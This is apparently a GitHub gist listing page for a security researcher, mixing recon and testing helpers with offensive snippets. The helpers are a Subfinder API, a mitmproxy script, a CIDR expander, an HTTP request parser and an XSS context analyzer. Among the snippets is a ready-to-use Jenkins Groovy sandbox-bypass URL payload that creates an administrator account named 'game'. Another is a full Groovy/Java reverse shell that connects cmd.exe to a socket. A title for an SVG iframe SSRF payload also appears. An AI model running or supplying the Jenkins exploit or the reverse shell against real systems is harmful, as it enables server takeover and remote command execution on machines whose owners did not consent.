Skip to content

Instantly share code, notes, and snippets.

View akhil-reni's full-sized avatar
👋
sup?

Akhil Reni akhil-reni

👋
sup?
View GitHub Profile
@akhil-reni
akhil-reni / api.go
Last active December 17, 2018 08:19
A JSON Rest API for Subfinder
package main
/*
Usage:
go get github.com/Ice3man543/subfinder
go get github.com/gin-gonic/gin
go get github.com/jinzhu/gorm
go get github.com/mattn/go-sqlite3
go run api.go
@akhil-reni
akhil-reni / main.py
Created July 14, 2018 05:48
MITM Proxy Dump Master
# -*- coding: utf-8 -*-
from mitmproxy.options import Options
from mitmproxy.proxy.config import ProxyConfig
from mitmproxy.proxy.server import ProxyServer
from mitmproxy.tools.dump import DumpMaster
class Addon(object):
def request(self, flow):
@akhil-reni
akhil-reni / ssrf_iframe.svg
Created April 4, 2019 11:17
SVG Foreign Objects IFrame SSRF
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@akhil-reni
akhil-reni / payload
Created July 26, 2019 13:23
Jenkins Metaprogramming RCE Create new user
http://localhost:8080/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/?sandbox=True&value=import+jenkins.model.*%0aimport+hudson.security.*%0aclass+nice{nice(){def+instance=Jenkins.getInstance();def+hudsonRealm=new+HudsonPrivateSecurityRealm(false);hudsonRealm.createAccount("game","game");instance.setSecurityRealm(hudsonRealm);instance.save();def+strategy=new+GlobalMatrixAuthorizationStrategy();%0astrategy.add(Jenkins.ADMINISTER,'game');instance.setAuthorizationStrategy(strategy)}}
@akhil-reni
akhil-reni / revsh.groovy
Created July 27, 2019 08:31 — forked from frohoff/revsh.groovy
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@akhil-reni
akhil-reni / cidrtoips.py
Created November 9, 2019 13:05
cat cidr.txt | python3 cidrtoips.py
import ipaddress
import fileinput
ips = []
for line in fileinput.input():
try:
ips.extend(list(ipaddress.ip_network(line.strip())))
except:
pass
<html>
<script>
function bindEvent(element, eventName, eventHandler) {
if (element.addEventListener){
element.addEventListener(eventName, eventHandler, false);
} else if (element.attachEvent) {
element.attachEvent('on' + eventName, eventHandler);
}
}
bindEvent(window, 'message', function (e) {
@akhil-reni
akhil-reni / request_parser.py
Last active March 4, 2022 08:23
Raw HTTP Request parser
from __future__ import absolute_import, unicode_literals
from http.server import BaseHTTPRequestHandler
from io import BytesIO
from urllib import parse
class Request:
def __init__(self):
self.headers = None
@akhil-reni
akhil-reni / create_insertions.py
Created April 26, 2020 16:31
Create insertion points in a HTTP raw request
import copy
class GetInsertionPoints:
def __init__(self, request):
self.request = request
self.requests = []
self.params(append=True)
self.body(append=True)
@akhil-reni
akhil-reni / context_analyzer.py
Last active May 9, 2020 05:35
context_analyzer.py
from lxml import html
import re
class ContextAnalyzer:
def __init__(self, response_text, search_string):
self.get_contexts(response_text, search_string)
@staticmethod